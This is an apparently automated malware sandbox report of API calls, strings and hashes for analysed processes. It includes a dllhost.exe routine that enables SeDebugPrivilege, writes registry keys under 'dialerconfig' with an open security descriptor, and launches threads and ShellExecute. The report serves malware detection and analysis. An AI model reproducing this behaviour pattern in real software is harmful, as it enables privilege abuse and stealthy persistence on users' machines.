HeapFree.KERNEL32 ref: 000001D29E8C14D4
GetProcessHeap.KERNEL32 ref: 000001D29E8C14E1
HeapFree.KERNEL32 ref: 000001D29E8C14F0
GetProcessHeap.KERNEL32 ref: 000001D29E8C1500

Memory Dump Source

Source File: 00000020.00000002.2314577123.000001D29E8C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001D29E8C0000, based on PE: true

Associated: 00000020.00000002.2314272678.000001D29E8C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2315097931.000001D29E8D6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2322726845.000001D29E8E1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2323111128.000001D29E8E3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2323539773.000001D29E8E9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1d29e8c0000_conhost.jbxd

Similarity

API ID: Heap$Process$Free
String ID:
API String ID: 3168794593-0
Opcode ID: f2d6af867017c8fdca06cc75cff9703ddcaaa443aeb9202065457787ca9ddd0f
Instruction ID: b7e7f1b63825c9a2be8dd9ded004a13c6fd9e98d53e34b826bda65f008777a91
Opcode Fuzzy Hash: f2d6af867017c8fdca06cc75cff9703ddcaaa443aeb9202065457787ca9ddd0f
Instruction Fuzzy Hash: 7D015E72602AA0C6DB48DFE6E85418EB7B1FF99F84F044426EA6943729DE38C091C740

Function 000001D29E8D2DB0 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,000001D29E8D2D9B), ref: 000001D29E8D2ECC
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,000001D29E8D2D9B), ref: 000001D29E8D2F57

Memory Dump Source

Source File: 00000020.00000002.2314577123.000001D29E8C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001D29E8C0000, based on PE: true

Associated: 00000020.00000002.2314272678.000001D29E8C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2315097931.000001D29E8D6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2322726845.000001D29E8E1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2323111128.000001D29E8E3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2323539773.000001D29E8E9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1d29e8c0000_conhost.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: ed4da88c6f9953f7d7ff9071fd661f4bfe943a7a16315c9e976136c82c347ad5
Instruction ID: e9bfcbbcd138b4d7dd4df6a8df15003861a828a91160f34df5af8163ee159cdb
Opcode Fuzzy Hash: ed4da88c6f9953f7d7ff9071fd661f4bfe943a7a16315c9e976136c82c347ad5
Instruction Fuzzy Hash: CF91F27270267485F7689FA594603ED6BA4FF69B9CF14411BDE3A676A5CB34C8C2C300

Function 000001D29E8C2604 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 000001D29E8C26E8
StrCpyW.SHLWAPI ref: 000001D29E8C2701

Strings

\\.\pipe\, xrefs: 000001D29E8C26F3

Memory Dump Source

Source File: 00000020.00000002.2314577123.000001D29E8C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001D29E8C0000, based on PE: true

Associated: 00000020.00000002.2314272678.000001D29E8C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2315097931.000001D29E8D6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2322726845.000001D29E8E1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2323111128.000001D29E8E3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2323539773.000001D29E8E9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1d29e8c0000_conhost.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 33e1af66e0871330679004fe562d697de0fc8c89851f4c88526204be402beab6
Instruction ID: f8671f7ddd9d3151e8de402689eb3f6df7e55b31f66172980a505d12df263d65
Opcode Fuzzy Hash: 33e1af66e0871330679004fe562d697de0fc8c89851f4c88526204be402beab6
Instruction Fuzzy Hash: 7D71B532203BA186E72DDFAA98A43EE6790F7AAB88F440017DD39537E9DE34C545C740

Function 000001D29E89A24C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

_CallSETranslator.LIBVCRUNTIME ref: 000001D29E89A2E7

Strings

MOC, xrefs: 000001D29E89A2AC
RCC, xrefs: 000001D29E89A2B5

Memory Dump Source

Source File: 00000020.00000003.2254503024.000001D29E890000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D29E890000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_3_1d29e890000_conhost.jbxd

Similarity

API ID: CallTranslator
String ID: MOC$RCC
API String ID: 3163161869-2084237596
Opcode ID: 30a9d0c0d3f57c599bda06983a5ca6919b98e12de895e70124a407b05a736fc2
Instruction ID: 3343cf5fbf8b8897b8f77685b865c3ec09019879f5b34131eea1c4abd1601fac
Opcode Fuzzy Hash: 30a9d0c0d3f57c599bda06983a5ca6919b98e12de895e70124a407b05a736fc2
Instruction Fuzzy Hash: 7D618B37A05B949AEB28CFA5D4943DD77A0F368B8CF044256EF6917BA8DB38D485C700

Function 000001D29E8C23F8 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 000001D29E8C24DE
StrCpyW.SHLWAPI ref: 000001D29E8C24F5

Strings

\\.\pipe\, xrefs: 000001D29E8C24E9

Memory Dump Source

Source File: 00000020.00000002.2314577123.000001D29E8C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001D29E8C0000, based on PE: true

Associated: 00000020.00000002.2314272678.000001D29E8C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2315097931.000001D29E8D6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2322726845.000001D29E8E1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2323111128.000001D29E8E3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2323539773.000001D29E8E9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1d29e8c0000_conhost.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: d24fa520fd7dbb7ec2b76f1d32a897148e6d9871f9771e10c0de33aaa48a33cd
Instruction ID: d211cb8ea232f5b40925d724f767afdb1e4ce081fd21d7ae6c03d7f050daeb74
Opcode Fuzzy Hash: d24fa520fd7dbb7ec2b76f1d32a897148e6d9871f9771e10c0de33aaa48a33cd
Instruction Fuzzy Hash: A151D636207BA181E7AC9AE5A4743EB6751F3AA788F440117DE7903BF9EE39C445C740

Function 000001D29E8A2DDB Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 140COMMON

Download Yara Rule

APIs

_log10_special.LIBCMT ref: 000001D29E8A3071

Strings

dll, xrefs: 000001D29E8A2E95

Memory Dump Source

Source File: 00000020.00000003.2254503024.000001D29E890000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D29E890000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_3_1d29e890000_conhost.jbxd

Similarity

API ID: _log10_special
String ID: dll
API String ID: 3812965864-1037284150
Opcode ID: f5c871aa60dc0e0ec45b8b1933c36a9d422e8a67736998cb73b4f17a378e9579
Instruction ID: 8126520eb642e1b9832b80c5f14346f2032b3576af71cf94ab3f74053c8cc8bc
Opcode Fuzzy Hash: f5c871aa60dc0e0ec45b8b1933c36a9d422e8a67736998cb73b4f17a378e9579
Instruction Fuzzy Hash: 1D613031927F688CD6679BB994712A56B5CBF723CDF41D307E93A72A71EB3990038200

Function 000001D29E8D2B20 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 000001D29E8D2C37
GetLastError.KERNEL32 ref: 000001D29E8D2C59

Strings

U, xrefs: 000001D29E8D2BE3

Memory Dump Source

Source File: 00000020.00000002.2314577123.000001D29E8C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001D29E8C0000, based on PE: true

Associated: 00000020.00000002.2314272678.000001D29E8C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2315097931.000001D29E8D6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2322726845.000001D29E8E1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2323111128.000001D29E8E3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2323539773.000001D29E8E9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1d29e8c0000_conhost.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 08a3ddd2b86f7b8515106781585b8c8a1d40bea7a265024b77d0f248b7dc9f58
Instruction ID: d61fbb89930ff07a8261cd5928fdef88125afa4d0c86fb264f0195240b574bc3
Opcode Fuzzy Hash: 08a3ddd2b86f7b8515106781585b8c8a1d40bea7a265024b77d0f248b7dc9f58
Instruction Fuzzy Hash: AF41E472316A5482DB24DFA5E4543EE77A0FBA8798F404022EE6D877A8DB7CC481C740

Function 000001D29E8C98D0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 000001D29E8C9920
RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,000001D29E8C850B), ref: 000001D29E8C9961

Strings

csm, xrefs: 000001D29E8C994E

Memory Dump Source

Source File: 00000020.00000002.2314577123.000001D29E8C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001D29E8C0000, based on PE: true

Associated: 00000020.00000002.2314272678.000001D29E8C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2315097931.000001D29E8D6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2322726845.000001D29E8E1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2323111128.000001D29E8E3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2323539773.000001D29E8E9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1d29e8c0000_conhost.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: d6e187f7c3a97b3215a18421b3b0fdb8c27e8d274db127c5d8f8eb200af9c340
Instruction ID: 789cd6d13d63871bdedcaad1c698f3d27871a1fd1b1612e0793705990e2806fa
Opcode Fuzzy Hash: d6e187f7c3a97b3215a18421b3b0fdb8c27e8d274db127c5d8f8eb200af9c340
Instruction Fuzzy Hash: E3115E32216B9482EB258F25F410399B7E0FB99B88F584665DEAC07768DF3CC5558B00

Function 000001D29E897786 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 18COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 000001D29E8977AC

Strings

`vector constructor iterator', xrefs: 000001D29E8977B1
ctor closure', xrefs: 000001D29E897794

Memory Dump Source

Source File: 00000020.00000003.2254503024.000001D29E890000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D29E890000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_3_1d29e890000_conhost.jbxd

Similarity

API ID: __std_exception_copy
String ID: `vector constructor iterator'$ctor closure'
API String ID: 592178966-3792692944
Opcode ID: 3d94f62f39723b7dc1272b79e31019e2f4db169682176d2f048e7421b3153389
Instruction ID: 222ab89ede8730364fd66c3ff642a418130a976346cadb3df6bee7a3ea60d33d
Opcode Fuzzy Hash: 3d94f62f39723b7dc1272b79e31019e2f4db169682176d2f048e7421b3153389
Instruction Fuzzy Hash: E7E08671A42B44E0DF158F61E4902D833A0EB78B68F4C9123D97C0A321FB38D1E9C301

Function 000001D29E8977E4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 000001D29E897808

Strings

destructor iterator', xrefs: 000001D29E89780D
ctor closure', xrefs: 000001D29E8977F0

Memory Dump Source

Source File: 00000020.00000003.2254503024.000001D29E890000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D29E890000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_3_1d29e890000_conhost.jbxd

Similarity

API ID: __std_exception_copy
String ID: ctor closure'$destructor iterator'
API String ID: 592178966-595914035
Opcode ID: 178c451bf754e9b3f91433b5168c8e4fc02ede9add1333831d18f9cb102bf374
Instruction ID: 54d69dd8e3a10fb69431f31c9e47045b6bc5fbeadc2ffc58a0b9a059ffa2de0d
Opcode Fuzzy Hash: 178c451bf754e9b3f91433b5168c8e4fc02ede9add1333831d18f9cb102bf374
Instruction Fuzzy Hash: 56E0E671A52B55D0DF158FA1E4901D87365F778B5CF889123D97C4A365EA38D1E5C300

Function 000001D29E8978EC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 11COMMON

Download Yara Rule

APIs

std::bad_alloc::bad_alloc.LIBCMT ref: 000001D29E8978F5

Strings

`scalar deleting destructor', xrefs: 000001D29E897911
rFeaturePresent, xrefs: 000001D29E8978FA

Memory Dump Source

Source File: 00000020.00000003.2254503024.000001D29E890000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D29E890000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_3_1d29e890000_conhost.jbxd

Similarity

API ID: std::bad_alloc::bad_alloc
String ID: `scalar deleting destructor'$rFeaturePresent
API String ID: 1875163511-1689945142
Opcode ID: 825dc38fabb3a4a7c87f2f3a88ae4ed20e2ecae66053889663208d07eaa1d642
Instruction ID: 0181d76f97bfe97161b40d018a0446171709d08f51e6ded7dfdac6a6ea59d863
Opcode Fuzzy Hash: 825dc38fabb3a4a7c87f2f3a88ae4ed20e2ecae66053889663208d07eaa1d642
Instruction Fuzzy Hash: 6BD09E32622A95A5EE24EB84D8A93C96334F3B434DF944413D17D92975DF3DCA8BC740

Function 000001D29E8C1C34 Relevance: 5.0, APIs: 4, Instructions: 46memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001D29E8C1C6D
HeapAlloc.KERNEL32 ref: 000001D29E8C1C7B
GetProcessHeap.KERNEL32 ref: 000001D29E8C1CA0
HeapFree.KERNEL32 ref: 000001D29E8C1CAE

Memory Dump Source

Source File: 00000020.00000002.2314577123.000001D29E8C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001D29E8C0000, based on PE: true

Associated: 00000020.00000002.2314272678.000001D29E8C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2315097931.000001D29E8D6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2322726845.000001D29E8E1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2323111128.000001D29E8E3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2323539773.000001D29E8E9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1d29e8c0000_conhost.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: 138e9805673e9783fb607e1b8e779fad2fd7a8f9a8e5a925b2c8afb7781e516c
Instruction ID: 68f6b240d09a4260ed46950b8f3246e43bb54358201e6f6be1ed807fad0fc897
Opcode Fuzzy Hash: 138e9805673e9783fb607e1b8e779fad2fd7a8f9a8e5a925b2c8afb7781e516c
Instruction Fuzzy Hash: B111C031B02BA481EB08CBA6A45829D67B0FB99FC4F584026EE6D93735DF38C4828300

Function 000001D29E8C1268 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001D29E8C126E
HeapAlloc.KERNEL32 ref: 000001D29E8C127D
GetProcessHeap.KERNEL32 ref: 000001D29E8C1297
HeapAlloc.KERNEL32 ref: 000001D29E8C12A8

Memory Dump Source

Source File: 00000020.00000002.2314577123.000001D29E8C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001D29E8C0000, based on PE: true

Associated: 00000020.00000002.2314272678.000001D29E8C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2315097931.000001D29E8D6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2322726845.000001D29E8E1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2323111128.000001D29E8E3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2323539773.000001D29E8E9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1d29e8c0000_conhost.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: 82c219c6629c72d91ab1c60b28cb1fe49c35d6a1ad48fabfff97e5801092fb08
Instruction ID: fc0b5895a8af778e0727726985035f15786a54d42cb3d98f322a79c5f6f51cb5
Opcode Fuzzy Hash: 82c219c6629c72d91ab1c60b28cb1fe49c35d6a1ad48fabfff97e5801092fb08
Instruction Fuzzy Hash: F7E06DB160261486EB088FA2D82C38DB7F1FF98F0AF44C024C92907361DF7D84D99740

Function 000001D29E8C1000 Relevance: 5.0, APIs: 4, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001D29E8C1006
HeapAlloc.KERNEL32 ref: 000001D29E8C1015
GetProcessHeap.KERNEL32 ref: 000001D29E8C1028
HeapAlloc.KERNEL32 ref: 000001D29E8C1037

Memory Dump Source

Source File: 00000020.00000002.2314577123.000001D29E8C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001D29E8C0000, based on PE: true

Associated: 00000020.00000002.2314272678.000001D29E8C0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2315097931.000001D29E8D6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2322726845.000001D29E8E1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2323111128.000001D29E8E3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000020.00000002.2323539773.000001D29E8E9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1d29e8c0000_conhost.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: 5675c379a8d9e89708cd85a835e518bb04a23da85e3639b53f95be9f51753b7f
Instruction ID: ef8c2f1ccf7478dc89855662bafe8fe2202e80e747ed3ba01202cbb3ad01aa9a
Opcode Fuzzy Hash: 5675c379a8d9e89708cd85a835e518bb04a23da85e3639b53f95be9f51753b7f
Instruction Fuzzy Hash: C3E0EDB161255486EB089BA2D81829DB7B1FF98B1AF448025C92907325DE3884D99610

Analysis Process: updater.exePID: 5712, Parent PID: 632COMMON

Executed Functions

Function 00007FF6931B1140 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.2208381080.00007FF6931B1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF6931B0000, based on PE: true

Associated: 00000025.00000002.2208339786.00007FF6931B0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.2208420348.00007FF6931C8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.2208452028.00007FF6931CE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.2208745898.00007FF693449000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.2209078712.00007FF6936C0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.2209188427.00007FF6936FC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.2209285290.00007FF6936FF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ff6931b0000_updater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d18781531925d2824a96e72a8f9dc64733ec09c4f1669cefa822b9d5e06019eb
Instruction ID: e2deca9108ee35f50872e246185b759c1399870366ac86f0bb851a426d63dc4a
Opcode Fuzzy Hash: d18781531925d2824a96e72a8f9dc64733ec09c4f1669cefa822b9d5e06019eb
Instruction Fuzzy Hash: 5CB01230D0430984E7142F11D8833583278EB08740F410471D40C67372CEBD54504B10

Analysis Process: dllhost.exePID: 3820, Parent PID: 560COMMON

Execution Graph

Execution Coverage:	41.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	47.4%
Total number of Nodes:	247
Total number of Limit Nodes:	29

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 0000000140002D54 Relevance: 84.3, APIs: 36, Strings: 12, Instructions: 258
registrymemorythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000000140002A14: StrCpyW.SHLWAPI ref: 0000000140002A45
Part of subcall function 0000000140002A14: StrCatW.SHLWAPI ref: 0000000140002A53
Part of subcall function 0000000140002A14: GetModuleHandleW.KERNEL32 ref: 0000000140002A5C
Part of subcall function 0000000140002A14: GetCurrentProcess.KERNEL32 ref: 0000000140002A7C
Part of subcall function 0000000140002A14: K32GetModuleInformation.KERNEL32 ref: 0000000140002A90
Part of subcall function 0000000140002A14: CreateFileW.KERNELBASE ref: 0000000140002AC0
Part of subcall function 0000000140002A14: CreateFileMappingW.KERNELBASE ref: 0000000140002AEA
Part of subcall function 0000000140002A14: MapViewOfFile.KERNELBASE ref: 0000000140002B0D
Part of subcall function 0000000140002A14: lstrcmpiA.KERNEL32 ref: 0000000140002B63
Part of subcall function 0000000140002A14: CloseHandle.KERNELBASE ref: 0000000140002BCF
Part of subcall function 0000000140002A14: CloseHandle.KERNEL32 ref: 0000000140002BD8
Part of subcall function 0000000140002A14: FreeLibrary.KERNEL32 ref: 0000000140002BE1

Part of subcall function 0000000140002A14: VirtualProtect.KERNEL32 ref: 0000000140002B96
Part of subcall function 0000000140002A14: VirtualProtect.KERNEL32 ref: 0000000140002BC6

GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D49), ref: 0000000140002D7C
OpenProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D49), ref: 0000000140002D8C
OpenProcessToken.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D49), ref: 0000000140002DA6
LookupPrivilegeValueW.ADVAPI32 ref: 0000000140002DBD
AdjustTokenPrivileges.KERNELBASE ref: 0000000140002DF5
GetLastError.KERNEL32 ref: 0000000140002DFF
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D49), ref: 0000000140002E08
RegOpenKeyExW.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D49), ref: 0000000140002E31
RegQueryValueExW.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D49), ref: 0000000140002E61
RegQueryValueExW.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D49), ref: 0000000140002E91
GetProcessHeap.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D49), ref: 0000000140002EA5
HeapAlloc.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D49), ref: 0000000140002EB3
GetProcessHeap.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D49), ref: 0000000140002EC6
HeapAlloc.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D49), ref: 0000000140002ED4
RegQueryValueExW.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D49), ref: 0000000140002F03
RegQueryValueExW.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D49), ref: 0000000140002F33
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D49), ref: 0000000140002F45
GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D49), ref: 0000000140002F4B
RegCreateKeyExW.KERNELBASE ref: 0000000140002F87
ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32 ref: 0000000140002FAE
RegSetKeySecurity.KERNELBASE ref: 0000000140002FC7
LocalFree.KERNEL32 ref: 0000000140002FD1
RegCreateKeyExW.KERNELBASE ref: 0000000140003007
GetCurrentProcessId.KERNEL32 ref: 0000000140003011
RegSetValueExW.KERNELBASE ref: 0000000140003038
RegCloseKey.KERNELBASE ref: 0000000140003042
RegCloseKey.ADVAPI32 ref: 000000014000304C
CreateThread.KERNELBASE ref: 000000014000306D
GetProcessHeap.KERNEL32 ref: 0000000140003073
HeapAlloc.KERNEL32 ref: 0000000140003082
CreateThread.KERNELBASE ref: 00000001400030B0
CreateThread.KERNELBASE ref: 00000001400030D1
ShellExecuteW.SHELL32 ref: 000000014000310B
GetProcessHeap.KERNEL32 ref: 000000014000316B
HeapFree.KERNEL32 ref: 0000000140003179
SleepEx.KERNELBASE ref: 0000000140003182

Strings

svc64, xrefs: 000000014000301B
SeDebugPrivilege, xrefs: 0000000140002DB6
open, xrefs: 00000001400030EC
SOFTWARE\dialerconfig, xrefs: 0000000140002F66
ntdll.dll, xrefs: 0000000140002D64
kernel32.dll, xrefs: 0000000140002D70
?, xrefs: 0000000140002FFB
pid, xrefs: 0000000140002FE4
dialerdll32, xrefs: 0000000140002E4F, 0000000140002EDE
dialerdll64, xrefs: 0000000140002E7F, 0000000140002F18
SOFTWARE, xrefs: 0000000140002E27
D:(A;OICI;GA;;;AU)(A;OICI;GA;;;BA), xrefs: 0000000140002FA7

Memory Dump Source

Source File: 0000002D.00000002.2250681771.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000002D.00000002.2250629569.0000000140000000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002D.00000002.2250730274.0000000140004000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002D.00000002.2250756472.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_140000000_dllhost.jbxd

Similarity

API ID: Process$Heap$Create$CloseValue$CurrentHandleQuery$AllocFileFreeOpenSecurityThread$DescriptorModuleProtectTokenVirtual$AdjustConvertErrorExecuteInformationLastLibraryLocalLookupMappingPrivilegePrivilegesShellSleepStringViewlstrcmpi
String ID: ?$D:(A;OICI;GA;;;AU)(A;OICI;GA;;;BA)$SOFTWARE$SOFTWARE\dialerconfig$SeDebugPrivilege$dialerdll32$dialerdll64$kernel32.dll$ntdll.dll$open$pid$svc64
API String ID: 3658652915-98388624
Opcode ID: 511ba1f119688a7c2bce4f997cca157a19b0503c9fa3f0e54d5988af19886ff8
Instruction ID: 64b8ffd44a99f3ce8fcd0b7b346b5b7659867d38c7c320bcd7049fd2825a730f
Opcode Fuzzy Hash: 511ba1f119688a7c2bce4f997cca157a19b0503c9fa3f0e54d5988af19886ff8
Instruction Fuzzy Hash: C6C1F2F2200A4186EB26DF22F8547DA37A5F78CBD9F814116BB4A43A75DF38C589C744

Function 0000000140001860 Relevance: 59.8, APIs: 29, Strings: 5, Instructions: 289
memorystringnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenProcess.KERNEL32 ref: 0000000140001896
IsWow64Process.KERNEL32 ref: 00000001400018B2
CloseHandle.KERNEL32 ref: 00000001400018D6
OpenProcess.KERNEL32 ref: 0000000140001931
OpenProcess.KERNEL32 ref: 0000000140001950
K32GetModuleFileNameExW.KERNEL32 ref: 000000014000196D
PathFindFileNameW.SHLWAPI ref: 000000014000197B
lstrlenW.KERNEL32 ref: 0000000140001987
StrCpyW.SHLWAPI ref: 000000014000199E
CloseHandle.KERNEL32 ref: 00000001400019AA
StrCmpIW.SHLWAPI ref: 00000001400019E9
NtQueryInformationProcess.NTDLL ref: 0000000140001A1A
OpenProcessToken.ADVAPI32 ref: 0000000140001A42
GetTokenInformation.KERNELBASE ref: 0000000140001A6E
GetLastError.KERNEL32 ref: 0000000140001A78
LocalAlloc.KERNEL32 ref: 0000000140001A8B
GetTokenInformation.KERNELBASE ref: 0000000140001AB7
GetSidSubAuthorityCount.ADVAPI32 ref: 0000000140001AC4
GetSidSubAuthority.ADVAPI32 ref: 0000000140001AD3
LocalFree.KERNEL32 ref: 0000000140001AEB
CloseHandle.KERNEL32 ref: 0000000140001AFF
